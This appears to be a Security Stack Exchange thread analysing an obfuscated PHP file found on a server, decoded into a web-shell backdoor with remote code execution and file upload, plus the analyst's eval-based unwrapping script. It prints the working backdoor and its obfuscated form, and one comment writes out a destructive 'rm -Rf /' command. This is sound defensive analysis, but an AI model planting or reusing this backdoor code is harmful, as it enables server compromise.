38

I found a file named "default.php" on the server with following code

    eval(gzinflate(base64_decode(
      "DZVFrsUIggTv0qsqeWEmjXphZrafYdMyM7NPP/8IGcrILK90+Kf+2qka0qP8J0v3ksD+V5T5XJT//IdPfvI3u+k82yi0muQTczltOrzRR6OjCqMeqZYbZjBJA4weAR5ZqUaDguuBI6tSoHpFqpD2Tm0FhckHRfiHgsK9R+L00O9VtHlYnUzEbiuOLQoZLVWsau2rDlpviHdXuv5Z4SUoBZas5bahw5NbSHaQpugNJbNU6hsXGGXwmUvtS3w99wpokbU7o6LHLrMoOq5QkKgbKvyUKud0F/OOyGDLts0jhl3C1dYxGyai7bXTmADX0ZSADYmcP26q3rRfkmUeUPnrn506VD8c79e/+MPuP/0So4GndLvNYKP3BCr+DTRK/YKdft8EO505wCG3/6B4V6e0PS77BKZPG6XRrQ5IC5CCh2mOv/mCT3a/OjMQvnWjuBX+AexNR36wsK25/9LLyXs1QxK/+PTSrqoW0KlTf87fkTr9oUKxtekeFpF4BFOFcJK+fulhD3sXU7egprSLG/+9vZaM+9yCv07GDz+ASBrGJNBAtW8baj7acar62cxqpSK/9hAPfu2MszqW+lC26Nnpz2VOKqhq3MI2Bj1fC6l6NLTAKYlQ9135wkZMaVacfSKv0uHiJy5UdWpuWqQ4w8YmgThB1Jc061qmEofhIANAaRR0MCGnsegD5qRs1Z9iG/4lkmIf+HW/c9qLca4uwlxmTMlI2avfP0KjauuQXL7+OcDaZ89p5cqrHlUmKBrxdmLjdjQmXNojY2AifWDSVOCIMwhYcMMYLfa1NRUMsWnEJYYXQceCPPPMubjiEp9xftwqAKfZNXHQGd3lPhlJCzl1XoauTB1hp9tc+Pf7p4LUZC/rPVF4/zig6weLXBBEj29r6BD5s2bbQ1qOYFYQ73nkQUO8kcrEemE6YzxUvCm83t56RSRQU5IkbNa8cyinbB2ZhkbIMzOlMOa+pDAqbnVYWlTuluzSAduh5RGS9icZlNO5MyNnMpGNDCtmQk9Wy874RzTSG2m1rH5KQjg7PvFFq6/J6e4x925JITE/8io6zupTFhtRKerEX3TrX7YNjE5g0PixhUD5U8DgT/ysYOO4DD0QPpfpEgjCYCiJL+nBqRGsUEz5uujGxg7jNh54yYCjWD3voNs+Mw7f9eQ5aFHnprTVLMHDgGVs3dGkVZ4aN4uRqpKUql5G/Z3QcTNTneTAzFhSbnGhtr8L2S0KohxRYbcD+qVVC4l7iCsl/BvTRvDLjg47hwEeSDHHnyXvCih0o4y7sRYOfTvWORQ4U0TOWfaLsky2W8j8AvKv2KYKBMiI0y+gmGuTSq4dvJmdAP6ONz8ujkbdnMpjtg5PAw9nqXsWZoVg75Euc8N+PKv1EayjTDqsJU5rHSAX9B+Fj/O6+ePTa7bRJsnFuz6bHdXPh6YdIhDczAGqhUg/KI7LQiYfipIe7mG0rXoIRiZHbuN89UQsjmOvsPgTOpNiQ8XFZ84Eaq1LZaHPk12Ti938MpblvWO0UeSE1n6eDVdb24JwlywoYNuzM6Nsvl+bNunqYZ/WzJLwWJugPi3lZCCBmjBddGaZKw2DzVZNoih/IqzVgAl2h6Z1bIM6u0kLubRy7L2rLnWKlZ/hmzhOAYkQ+pHYnZ81hckjyOP0LWoZI9elfphbGXfYikGZWyXmJ89Zx0MdEgWWWGtMuJFsvA/X6dw5ymf91J6/zPbQF5kuZQJMBk5ms5JaFLrwYXM2Nq02bpUAIv3bDOO+CyoWIFsTqENkNojdbD+68NVwInDQftPUUuANbUU1bo7mEOzalPNOYMMc9G0U6iRFQHTPlYpvA/SpnsDbpuoLHZ7VIGOChdkG5KEjHMhqGnL8Ae8H8hLBVdd3JDQBkFyjQRtl86g3deoEZmNRRT4zaYrO1aqCP2GqITHBvzkkbUQEE989ZF1hUqVvGcqMTjbxOn4zcV6cbUFtwNNNvVBAMNEQ/C2WO7KmdhUX5xetfxZMhlJvj0lISpKsnSk51TxR7ab43Ogz398KeMZ/7NCJ2wUemV0X2yiEbw3KP9ytBhqVQfUGbParUz7YngXpQpnPDQc0E2Q4QkcFVP9u6KIKAA4B+Ze7DCqBjJOB2GhONWCKKsA/ay3o80dPv9Yk9VCrQt7ri2DC7tCx05ALh+ElnGdvwfSdDTqsSwGbgwX4fYZ7e+bJK4R7adNJJ2h0JtXK7Tdd9zUqNmX9gfl8pbTg9pdthkLxW8F2rz2MuoFNHWVOf3ABITEDpo6dVqAZ1myiFgpB/jhTGD2deapPBkEKAEAQJCvwNv77n3///ff//h8=")));

What can be the purpose of this script.

Vaibhav
  • 483
  • 4
  • 5

1 Answers1

77

Yes, it's malicious.

This script has 20 layers of eval/deflate obfuscation, but eventually decodes to:

@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp=@fopen('tmpfile','a'); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); @flock($fp, LOCK_UN); @fclose($fp); } } exit;

Ugly! Let's format that:

@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);
if (isset($_GET['r']))
{
    print $_GET['r'];
}
elseif (isset($_POST['e']))
{
    eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e']))))));
}
elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary')
{
    $data = file_get_contents('php://input');
    if (strlen($data) > 0)
        print 'STATUS-IMPORT-OK';
    if (strlen($data) > 12)
    {
        $fp=@fopen('tmpfile','a');
        @flock($fp, LOCK_EX);
        @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n");
        @flock($fp, LOCK_UN);
        @fclose($fp);
    }
}
exit;

What have we here?

First, the r parameter seems to be an echo-back for the purposes of detecting that the script is working. The e parameter is used to do remote code execution, with base64 / rot13 obfuscation on the request, presumably to defeat minimal IDS / WAF rules. The final elseif clause is used for file uploads, whereby any binary file upload operation sent to that script will write the contents to a file called tmpfile. I'd assume they'd later use the e parameter to execute code that renames the file, probably for uploading a more functional shell or overwriting existing files.

A quick Google search for the eval line throws up a load of results about Wordpress installations being nailed with it, which were then used to distribute malware and pharma spam.


Ok, due to popular demand, here's how I decrypted it:

First, I replaced the eval with an echo, so it printed out the contents of the inflated data. This gave me another payload that looked exactly the same, except the base64 string was different. After doing the eval / echo switch again a few times, I kept getting the same result - another eval, gzinflate, base64_decode chain with different base64. At this point I wasn't willing to sit there and manually do it, because that would be a pain if there were a large number of layers. I came up with an automated way to unpack it.

I wrapped the initial payload into a string, then used a while loop to iteratively undo layers of protection. The loop condition checks that the decryption chain is at the start of the code string, and if not it leaves the loop and displays the code. This has two functions: first, if the code is only obfuscated by that chain, it'll give us the real code. Second: if a different obfuscation technique is switched to later on, it'll stop and return that code instead of breaking it.

// our initial payload in a string
$code = 'eval(gzinflate(base64_decode("DZVFrsUIggTv .. <snip> .. JCvwNv77n3///ff//h8=")));';

$layers = 0;

// loop while the code string starts with the eval / gzinflate / base64_decode chain
while(strpos($code, 'eval(gzinflate(base64_decode') === 0)
{
  // replace the eval with a return, so that our eval dumps
  // the result of the operation rather than executing it
  $code = str_replace('eval(gz', 'return (gz', $code);

  // the return now causes the result of gzinflate to be
  // placed back into the $code variable.
  $code = eval($code);

  // keep a count of the number of layers we removed
  $layers++;
}

// no longer have a eval/gzinflate/base64_decode chain at
// the start of the code, so print out the result.
echo "Unwrapped {$layers} layers of obfuscation...\n\n";
echo "{$code}\n";

The results:

Unwrapped 21 layers of obfuscation...

@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); } elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp=@fopen('tmpfile','a'); @flock($fp, LOCK_EX); @fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); @flock($fp, LOCK_UN); @fclose($fp); } } exit;

If you want to see the verbose output with all layers printed, I've put it on Pastebin.

Polynomial
  • 135,049
  • 43
  • 306
  • 382
  • 23
    Oh, and props to the Online PHP Functions Sandbox for saving me from having to spin up a VM to de-obfuscate this in. – Polynomial Jan 28 '13 at 10:27
  • 4
    r is an XSS vulnerability as well. (Not like it matters when you have remote code execution) – CodesInChaos Jan 28 '13 at 10:51
  • @CodesInChaos Yeah, though it'd trip most browsers' anti-XSS filters due to the lack of obfuscation. And it's not just RCE that negates the XSS vector, since they can upload arbitrary files too. – Polynomial Jan 28 '13 at 10:56
  • Can you temme how did you decrypt this code ? And what do you mean by 20 layers of eval/deflate obfuscation ? – Vaibhav Jan 28 '13 at 11:14
  • 4
    The eval function executes PHP code passed to it as a string. So the code takes that big base64 string, turns it back into raw binary data using base64_decode, then runs that raw data through gzinflate, since the obfuscator originally ran the data through gzdeflate. So I just replaced the eval with an echo, so it prints out the de-obfuscated string. That operation returns another blob of PHP code that looks similar, with another eval, but actually contains a different base64 blob. If you repeat this over and over, eventually it results in the blob of code I posted. – Polynomial Jan 28 '13 at 11:23
  • 2
    To save me doing it manually, I wrote a script that takes the original script, replaces the eval with a return, then evals that. It then looks at the results and checks if there's another eval at the start. If there is, it loops back and does another replace/eval. If there's no eval at the start of the string, it prints the result, which gives us the final code. – Polynomial Jan 28 '13 at 11:24
  • Okay Einstein, that cleared all doubts :) – Vaibhav Jan 28 '13 at 11:37
  • How did you "uneval" the cipher-text? – Michael Jan 28 '13 at 15:36
  • @Michael Read the comments above yours, I just explained exactly that. Essentially I just replaced each eval with a return until it was fully unpacked. – Polynomial Jan 28 '13 at 16:31
  • Kind of the RAT to handle file locking nicely... – Rushyo Jan 28 '13 at 16:53
  • @Polynomial if possible can you include your script as a part of your answers – Ali Ahmad Jan 29 '13 at 07:50
  • @AliAhmad I did it in the sandbox, so I don't have it any more, but I'll write something up. – Polynomial Jan 29 '13 at 08:51
  • 1
    Ok, I've added an update to include a detailed description of how I de-obfuscated it, and the script I built to do the automatic decryption. – Polynomial Jan 29 '13 at 09:15
  • @Polynomial Thankfully, it didn't have eval(gzinflate(base64_decode("..."))); system("rm -Rf /") in one of those many layers (which it could, if the code to be run contains an exit to prevent the system from ever being reached). – derobert Jan 29 '13 at 20:58
  • @derobert The system command was disabled for security reasons, and the PHP process is sandboxed. – Polynomial Jan 29 '13 at 21:49
  • @Polynomial that's good to know. Though I still wouldn't suggest your method, if for no other reason than you may have missed (and remain unaware of) part of the code. Much safer to do a pattern match to extract the string and call base64_decode & gzinflate yourself, skipping eval entirely. – derobert Jan 29 '13 at 22:07
  • What would be interesting now is to found which vulnerabilities are exploited by this bot in order to fix them! – Cyril N. Feb 20 '13 at 14:14